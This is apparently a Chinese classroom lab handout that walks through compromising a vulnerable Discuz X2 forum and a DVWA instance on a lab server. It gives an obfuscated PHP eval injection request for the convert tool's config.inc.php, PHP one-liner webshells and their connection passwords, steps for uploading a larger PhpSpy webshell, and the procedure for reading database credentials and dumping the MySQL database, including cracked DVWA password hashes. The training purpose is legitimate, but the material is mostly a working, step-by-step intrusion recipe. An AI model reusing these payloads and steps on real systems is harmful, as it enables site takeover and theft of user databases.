实训项目4 (1)防止黑客攻破Discuz论坛并拿下数据库
4.1 快速搭建Discuz论坛
4.2 使用Kali下BurpSuite对Discuz后台注入PHP木马
4.3使用Cknife“菜刀”上传webshell木马到网站
4.4 使用webshell查看MySQL数据库密码并盗取数据库
■4.1 快速搭建Discuz论坛
一、攻击思路
想要拿下一台主机A的权限:
1.了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。
2.拿到对A有一定权限的身份。如果对方是一个Web服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
3.传上去后,得到Apache用户普通权限,再提权成root
二、快速构建实验环境
搭建一个LAMP环境。部署带有漏洞的Discuz论坛。
漏洞概述:
这漏洞出现在一个DZX系列自带的转换工具里面。
漏洞路径:utility/convert/data/config.inc.php
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。
触发漏洞过程:
(1)在浏览器中访问打开http://192.168.112.100/utility/convert/index.php
(2)使用/utility/convert/index.php进行版本转换时,会自动创建
(3)config.inc.php文件没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序
渗透思路:
服务器上搭建一个Discuz论坛,IP:192.168.112.100
(1)修改浏览器使用Burp Suite上网
(2)BurpSuite代理,监听8080端口抓取浏览器上的http请求,抓到请求后,注入PHP一句话木马
(3)使用浏览器访问网站中有漏洞的URL链接
(4)使用Cknife连接到论坛上,然后上传webshell到网站
(5)使用webshell盗取网站的数据库
●1.在CentOS7虚拟机上搭建LAMP环境
安装CentOS7
配置网络:IP:192.168.112.100
设置主机名:
# vi/etc/hostname
wgxy
测试:物理机与虚拟机CentOS7能互相ping通,虚拟机能ping通www.baidu.com
▲(1)本地yum源(或网络yum源)
挂载光驱:
# mount /dev/cdrom/media
配置本地yum源:
# mv/etc/yum.repos.d/CentOS-* /opt
# vi /etc/yum.repos.d/centos7.repo
[DVD]
name=CentOS7
baseurl=file:///media
enabled=1
gpgcheck=0
# ls/etc/yum.repos.d/centos7.repo
# cat !$
cat/etc/yum.repos.d/centos7.repo
# yum clean all
# yum makecache;yumrepolist all
# yum list
▲(2)安装Apache、MySQL、PHP
[root@wgxy ~]# yum -yinstall httpd mariadb-server mariadb php php-mysql
Apache MySQL Server MySQL PHPPHP连接数据库
参数:mariadb-server这是MySQL数据库的一个分支
▲(3)启动Apache、MySQL服务
[root@wgxy ~]#systemctl start httpd
[root@wgxy ~]#systemctl start mariadb
设置MySQL数据库root用户的密码:
[root@wgxy ~]#mysqladmin -u root password "123456"
[root@wgxy ~]# mysql -uroot -p123456
MariaDB[(none)]>exit
[root@wgxy ~]#
●2.上传Discuz_X2_SC_UTF8.zip到Linux系统/root下
Xshell远程SSH连接CentOS7
[root@wgxy ~]# rz
上传Discuz_X2_SC_UTF8.zip到/root目录
[root@wgxy ~]# ls
[root@wgxy ~]# unzipDiscuz_X2_SC_UTF8.zip
[root@wgxy ~]# ls
upload utility等目录
[root@wgxy ~]# mvupload/* /var/www/html/
[root@wgxy ~]# mvutility/ /var/www/html/
[root@wgxy ~]# cd/var/www/html/
[root@wgxy ~]# ls
admin.php connectp.asp utility等
[root@wgxy html]# chown-R apache:apache uc_server/ uc_client/ data/ config/
[root@wgxy html]# chown-R apache:apache utility/convert/data
[root@wgxy html]# ps-axu | grep apache
[root@wgxy html]#iptables -F
●3.浏览器输入http://192.168.112.100安装配置Discuz论坛
物理机浏览器Firefox:http://192.168.112.100


数据库密码:123456
管理员密码:123456
重复密码: 123456


用户名:admin,密码:123456,登录

■4.2 使用Kali下Burp Suite对Discuz后台注入PHP木马
一、浏览器上开启代理模式进行抓包
以下操作在Kali Linux上进行操作
浏览器打开设置页面,Preferences,General,Settings...
我们把设置页面拉到最下面找到NetworkProxy
配置我们的代理设置
Manualproxy configuration HTTP Proxy 127.0.0.1 8080 Use this proxy server for all protocols
二、在Kali上使用burpsuite进行抓包
打开burpsuite。 brup打嗝,suite 套件
打开会有提示我们的jre我们点击OK即可
注:此窗口弹出的含意如下:
Burp Suite社区版
您的JRE似乎是来自Oracle公司的ll.0.3版本
Burp还没有在这个平台上进行全面测试,您可能会遇到问题。
experience 经历
我们先关闭拦截,点一下“interceptis on”,变为“intercept is off”,因为我们要先访问我们的论坛。
点完后变为:intercept is off
intercept 拦截 截听
浏览器进行操作抓包
在Kali上,打开注入漏洞的地方http://192.168.112.100/utility/convert
然后我们回到burpsuite开启拦截
我们再回到Web界面点击任意版本的开始按钮

回到burpsuite查看截取到浏览器数据包:如果之前抓取到了别的数据包,需要先点击forward按钮,把之前的http请求都放行了。然后再访问我们需要访问的链接。

右键点击空白处,选择Send to repeater。
然后在Repeater查看信息:

修改第一行:
GET/utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1
为:注意POST后面没有回车,这里是文本显示自动换行了。
POST/utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yesHTTP/1.1
注:这是一个php一句话木马加密后的内容。翻译后的内容为:
POST/utility/convert/index.php?a=config& source=d7.2_x2.0 &newconfig[aaa%0a%0d
eval("$_POST[c];"); c];");//]=aaaa&submit=yes
再转换%0a%0d代表回车换行
POST/utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa
eval("$_POST[c];"););
扩展1:eval()函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,
一般情况下不建议使用容易被黑客利用。evaluate 评价
eval("echo'helloworld';"); 等同于下边的代码:
echo"helloworld"; 在浏览器中都输出:hello world
修改完成后发送数据包

查看执行结果:
登录wgxy上,查看刚通过该漏洞注入的文件
[root@wgxy html]# cat/var/www/html/utility/convert/data/config.inc.php
注:/var/www/html/utility/convert/data/config.inc.php这个文件原来的网站上没有的
![1 CentOS7.8(192.168.112.100) x ?phpAM $_config = array() ; AM CONFIG AAA .CHR(118) CHR(93) $_config CentOS7.8(1g2.168.112.100) - root@lgglch:- - Xshell 5 41 CHR(97) . CHR(83) CHR(84) CHR(36) . CHR Meval 101) . 118) . CHR(97) . 138) . . CHR(34) . CHR(36) . CHR(95) . . CHR(79) . CHR(83) . CHR(84) . CHR(91) . CHR(99) . CHR(40) CHR(34) ) .CHR(80) CHR(79) . CHR ) . CHR . CHR(41) . CHR(59)) . CHR(93) . CHR(59) . CHR(34) . CHR(41) . CHR(59) ) , CONFIG SOURCE aaaa $_config $_config $_config $_config $_config $_config $_config $_config $_config $_config sou rce sou rce sou rce sou rce sou rce sou rce sou rce target target target dbhost'] dbuser'] dbpw ] dbname ] ] [ 'tablepre'] dbcharset ] localhost root discuz pconnect ' ] CONFIG TARGET dbhost'] dbuser'] dbpw ] localhost root 1,1](/ananas/ueditor/themes/default/images/spacer.gif)
可以看到和我们修改提交的参数类似。而且多了很多^M符号。
扩展2:^M符号
^M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r\n,而在Linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了Linux里,每一行都多了个^M。所以^M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除。
%0a%0d等于\r\n
扩展3:webshell简介
webshell从名字上来看就是在web站点上的一个shell管理工具,其实就是这样,webshell文件上传到站点后,黑客进行访问该文件并提交代码进行执行,从而入侵web站点。所以它也是木马的一种,在web领域这类木马分为两类,大马和小马。
小马通常指一句话木马,可以用来渗透测试初期与服务器建立链接取得shell权限;大马就是在小马的基础上集成了非常多的功能,比如连接数据库下载文件等。
我们刚才上传的文件就是一个webshell是使用php语言进行编写的,当然webshell也有其他语言如jsp等。
webshell的工作原理
查看源码
[root@wgxy uploads]#vim webshell.php
<?php @eval($_POST[wgxy]);?>
中间标红的就是一句话木马的代码格式。
eval()函数把字符串按照PHP代码来计算。字符串可以通过$_POST获取代码。wgxy为密码。
■4.3 使用Cknife“菜刀”上传Webshell木马到网站
一、在wgxy上配置java环境
搭建java环境
[root@wgxy ~]# yuminstall -y java
然后查看java版本
[root@wgxy ~]# java-version
openjdk version"1.8.0_262"
OpenJDK RuntimeEnvironment (build 1.8.0_262-b10)
OpenJDK 64-BitServer VM (build 25.262-b10, mixed mode)
我们在CentOS上面使用rz命令上传java版本的菜刀和我们后面需要的webshell2.php
[root@wgxy ~]# rz
按住Ctrl+鼠标左键可以多选,我们选择Cknife.jar和webshell2.php
安装完成java以后我们再来启动菜刀程序,需要在图形界面执行此命令
[root@wgxy ~]# java-jar Cknife.jar

排错:如果打开程序后,看到是乱码的,我们更换一下皮肤即可解决乱码问题
也可以安装蚁剑专业Web渗透工具:
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
任何人不得将其用于非法用途以及盈利等目的,也禁止未经允许私自修改打包进行发布,否则后果自行承担并将追究其相关责任!
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
一剑在手,纵横无忧!
蚁剑:
①蚁剑-AntSword-Loader-v4.0.3-win32-x64.zip(59MB)
②antSword-master.zip(15MB)
分别解压到AntSword-Loader-v4.0.3-win32-x64、antSword-master文件夹
运行蚁剑加载器AntSword-Loader-v4.0.3-win32-x64\AntSword.exe

点击「初始化」按钮,选择已经解压的源代码所在文件夹antSword-master

待提示设置完毕时,重新打开蚁剑加载器,即可看到蚁剑的主界面:

二、使用菜刀连接Discuz论坛上面的php后门程序
右键点击添加数据
路径:http://192.168.112.100/utility/convert/data/config.inc.php
密码:c

双击点开我们添加的地址

已经可以进入网站目录

三、上传功能更强大的木马文件webshell2.php
注:这里需要上传到apache用户有写权限的目录中,因为安装过程中Discuz需要管理员修改部分
权限为apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data目录下。

四、任意机器访问我们的webshell2.php木马文件
浏览器输入http://192.168.112.100/utility/convert/data/webshell2.php 输入密码:wgxy
成功进入webshell

■4.4 使用Webshell查看MySQL数据库密码并盗取数据库
一、分析配置文件获取数据库密码
获取mysql密码:
进到/var/www/html/config/config_global.php,获取到root用户和密码:
用户名:root
密码:123456
数据库:ultrax

二、导出数据库文件
连接数据库:
MySQLManager
DBPass:123456
Connect
选择数据库:ultrax
显示表:
选中自己想下载的软件包,导出数据库
保存好这个地址:/var/www/html/utility/convert/data/192.168.112.100_MySQL.sql

![ucenter settings [ Insert Structure QI_ggl Insen Structure QI_ggl ucenter_tags [ Insert Structure QI_ggl ucenter vars [ Insen Structure QI_gpl Total tables: 241 Z] Save as file 'Vartwww/html/utility/convert/dataJ1g2 16E 112 100 _Mysa 656 a 46140 172M Expon selection table 2021-05-07 2021-05-07 2021-05-07 181524 2021-05-07 18 1524 2021-05-07 2021-05-07 2021-05-07 MylSAM MylSAM MylSAM MEMORY utf8_general utf8_general_ utf8_general_ utf8_general_](/ananas/ueditor/themes/default/images/spacer.gif)
![Discuz! X PhpSpy (D 192.168.112.100/utility/converVdata/webshe112.php login @ loginPHP @ DVWA-master @Please sign in @localhost access only!! 192.168.112.100(192.168.112.100) Egggu_t File Manage! mySQL Manage! mySQL Uoload & Download Execute Command PHP Variable Eval PHP Code Back Connect File Manager - current diSk tree 4.2 G at 9.72 G (43.26%) Current Directory (Writable, 0755) "Vartwww/html/utility/convert/data/ WebRoot View writable Create File Z] Filename Parent Directo 192 168 112 100_mySQLsq1 configdefaultzng webshe112 Packing download selected - Delete selected Last modified 2021-05-07 11 5643 2011-06-29 38 2021-05-07 11:25 34 2021-05-07 18K 145K 66 98K _MySQL.sql'); Chmod / Perms 0644 / _rvV_r 0644/ rw_r 0644 / _rvV_r 0644/ rw_r enzszy 2008 Safe Mode:No Upload Down Copy Rename Time Down Copy Rename Time Down Copy Rename Time Down Copy Rename Time O directories / 4 files Processed in 0001210 second(s) Copyright (C) 2004-2008 Team All Rights Reserved , l/utility/convert/data/1 92.168.112.100](/ananas/ueditor/themes/default/images/spacer.gif)

Down,下载到本地:192.168.112.100_MySQL.sql
DROP TABLE IFEXISTS pre_ucenter_settings;
CREATE TABLEpre_ucenter_settings (
k varchar(32) NOT NULL,
v text NOT NULL,
PRIMARY KEY (k)
);
INSERT INTOpre_ucenter_settings VALUES('accessemail', '');
INSERT INTOpre_ucenter_settings VALUES('censoremail', '');
INSERT INTOpre_ucenter_settings VALUES('censorusername', '');
INSERT INTOpre_ucenter_settings VALUES('dateformat', 'y-n-j');
INSERT INTOpre_ucenter_settings VALUES('doublee', '0');
INSERT INTOpre_ucenter_settings VALUES('nextnotetime', '0');
INSERT INTOpre_ucenter_settings VALUES('timeoffset', '28800');
INSERT INTOpre_ucenter_settings VALUES('privatepmthreadlimit', '25');
INSERT INTOpre_ucenter_settings VALUES('chatpmthreadlimit', '30');
INSERT INTOpre_ucenter_settings VALUES('chatpmmemberlimit', '35');
INSERT INTOpre_ucenter_settings VALUES('pmfloodctrl', '15');
INSERT INTOpre_ucenter_settings VALUES('pmcenter', '1');
INSERT INTOpre_ucenter_settings VALUES('sendpmseccode', '1');
INSERT INTOpre_ucenter_settings VALUES('pmsendregdays', '0');
INSERT INTOpre_ucenter_settings VALUES('maildefault', 'username@21cn.com');
INSERT INTOpre_ucenter_settings VALUES('mailsend', '1');
INSERT INTOpre_ucenter_settings VALUES('mailserver', 'smtp.21cn.com');
INSERT INTOpre_ucenter_settings VALUES('mailport', '25');
INSERT INTOpre_ucenter_settings VALUES('mailauth', '1');
INSERT INTOpre_ucenter_settings VALUES('mailfrom', 'UCenter <username@21cn.com>');
INSERT INTOpre_ucenter_settings VALUES('mailauth_username', 'username@21cn.com');
INSERT INTOpre_ucenter_settings VALUES('mailauth_password', 'password');
INSERT INTOpre_ucenter_settings VALUES('maildelimiter', '0');
INSERT INTOpre_ucenter_settings VALUES('mailusername', '1');
INSERT INTOpre_ucenter_settings VALUES('mailsilent', '1');
INSERT INTOpre_ucenter_settings VALUES('version', '1.6.0');
三、下载数据库到本地
回到菜刀工具上把拿到的数据库文件下载到Kali主机
把光标点到菜刀工具的路径上,按下回车键,使菜单工具重新读取,此时会发现刚刚我们下载的192.168.112.100_MySQL.sql文件
回到kali主机上的目录查看
也可以使用菜刀下载,回到菜刀需要点击右键更新缓存。
到这里就完成了。如果入侵的系统版本较低,我们就可以使用apache用户进行提权操作。然后我们就拥有root权限了!
总结:
■4.1 快速搭建Discuz论坛
■4.2 使用Kali下Burp Suite对Discuz后台注入PHP木马
■4.3 使用Cknife“菜刀”上传webshell木马到网站
■4.4 使用Webshell查看MySQL数据库密码并盗取数据库
实验项目4作业:
DVWA靶场实验环境-文件上传漏洞获取Web权限
FileUpload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx 等都曝出过文件上传漏洞。
(1)DVWA的File Upload上传webshell.php

Web站点查看文件上传的位置,根据提示是在../../hackable/uploads/webshell.php
[root@wgxy ~]# cd/var/www/html/DVWA-master/hackable/uploads
[root@wgxy uploads]# ls
dvwa_email.pngwebshell.php
[root@wgxy uploads]#cat webshell.php
<?php @eval($_POST[wgxy]);?>
![[root@1991ch —]# cd /var/www/html/DVWA-master/hackable/uploads [root@1991ch Is dvwa_email.png webshell . php [root@1991ch uploads]# cat webshell.php <?php](/ananas/ueditor/themes/default/images/spacer.gif)
(2)使用蚁剑连接一句话木马
打开蚁剑加载器,在空白处单击鼠标右键,点击添加数据
URL地址:http://192.168.112.100/DVWA-master/hackable/uploads/webshell.php
密码为wgxy ,用于接受post 方式提交的数据

添加


上传下载文件,也可删除文件:
注:仅在Web站点目录可进行上传,因为当前用户仅对Web站点目录拥有写权限,下载文件则需要拥有对下载文件的读权限。

上传文件webshell2.php:
![AntSword 192.168.112.100 DVWA-master hackable /var/wmv/html/DVWA-master/hackable/uqloads/ dvvva_email .png webshell. php webshe112.php webshe112.php ,/var/vvvvw/html/C 2020-11-21 2021-05-07 2021-05-07 êl]padiâ] 2021-05-07 667 b 29 b 66.98 Kb 2021-05-07](/ananas/ueditor/themes/default/images/spacer.gif)
用caidao-20160622\caidao.exe菜刀连接:
http://192.168.112.100/DVWA-master/hackable/uploads/webshell2.php:

浏览器URL:http://192.168.112.100/DVWA-master/hackable/uploads/webshell2.php

输入密码:wgxy

![PhpSpy (D 192.168.112.100 /DVWA-master/hackable/uploads/webshe112.php @ login @ loginPHP @ DVWA-master @Please sign in @localhost access only!! 192.168.112.100(192.168.112.100) Egggu_t File Manage! mySQL Manage! mySQL Uoload & Download Execute Command PHP Variable Eval PHP Code Back Connect File Manager - current diSk tree 4.26 G at 9.72 G (43.8%) Current Directory (Writable, 0755) "Vartwww/html/ WebRoot View writable Create File Filename Parent Directo Dun-master Tes H p lggln lgginpHp sgli-labs skill]ntml Packing download selected - Delete selected Last modified 2021-04-29 17:37 46 2020-11-21 135532 2020-11-21 1347 33 2021-05-01 032830 2021-05-01 105327 2020-11-21 131231 2020-11-21 2020-11-21 178 21 a Chmod / Perms 0755 / drwxr-xr-x 0755 / drwxr-xr-x 0755 / drwxr-xr-x 0755 / drwxr-xr-x 0755 / drwxr-xr-x 0755 / drwxr-xr-x 0644 / _rvV_r 0644/ rw_r Copyright (C) 2004-2008 Team All Rights Reserved enzszy 2008 Safe Mode:No Upload Qgl Rename Qgl Rename Qgl Rename Qgl Rename Qgl Rename Qgl Rename Down Copy Rename Time Down Copy Rename Time 6 directories 12 files Processed in 0000474 second(s)](/ananas/ueditor/themes/default/images/spacer.gif)
使用webshell查看MySQL数据库密码并盗取数据库:
获取MySQL密码: 进到 /var/www/html/DVWA-master/config/config.inc.php
数据库:dvwa,用户名:root,密码:123456

连接数据库:
MySQLManager
DBPass:123456
Connect
选择数据库:dvwa
显示表:guestbook和users

下载数据库到/var/www/html/DVWA-master/hackable/uploads/192.168.112.100_MySQL.sql

FileManager,找到/var/www/html/DVWA-master/hackable/uploads/192.168.112.100_MySQL.sql

Down,下载到本地:192.168.112.100_MySQL.sql
DROP TABLE IFEXISTS users;
CREATE TABLEusers (
user_id int(6) NOT NULL,
first_name varchar(15),
last_name varchar(15),
uservarchar(15),
passwordvarchar(32),
avatar varchar(70),
last_login timestamp DEFAULT'CURRENT_TIMESTAMP' NOT NULL on update CURRENT_TIMESTAMP,
failed_login int(3),
PRIMARY KEY (user_id)
);
INSERT INTOusers VALUES('1', 'admin', 'admin', 'admin','5f4dcc3b5aa765d61d8327deb882cf99','/hackable/users/admin.jpg', '2020-11-22 00:25:24', '0');
INSERT INTOusers VALUES('2', 'Gordon', 'Brown', 'gordonb','e99a18c428cb38d5f260853678922e03','/hackable/users/gordonb.jpg', '2020-11-22 00:25:24', '0');
INSERT INTOusers VALUES('3', 'Hack', 'Me', '1337', '8d3533d75ae2c3966d7e0d4fcc69216b','/hackable/users/1337.jpg', '2020-11-22 00:25:24', '0');
INSERT INTOusers VALUES('4', 'Pablo', 'Picasso', 'pablo','0d107d09f5bbe40cade3de5c71e9e9b7','/hackable/users/pablo.jpg', '2020-11-22 00:25:24', '0');
INSERT INTOusers VALUES('5', 'Bob', 'Smith', 'smithy','5f4dcc3b5aa765d61d8327deb882cf99','/hackable/users/smithy.jpg', '2020-11-22 00:25:24', '0');
即:DVWA默认的账户有5个,用户名/密码如下:
admin/password
gordonb/abc123
1337/charley
pablo/letmein
smithy/password
wgxy
2020-2021-2第11周2021.05.10-12

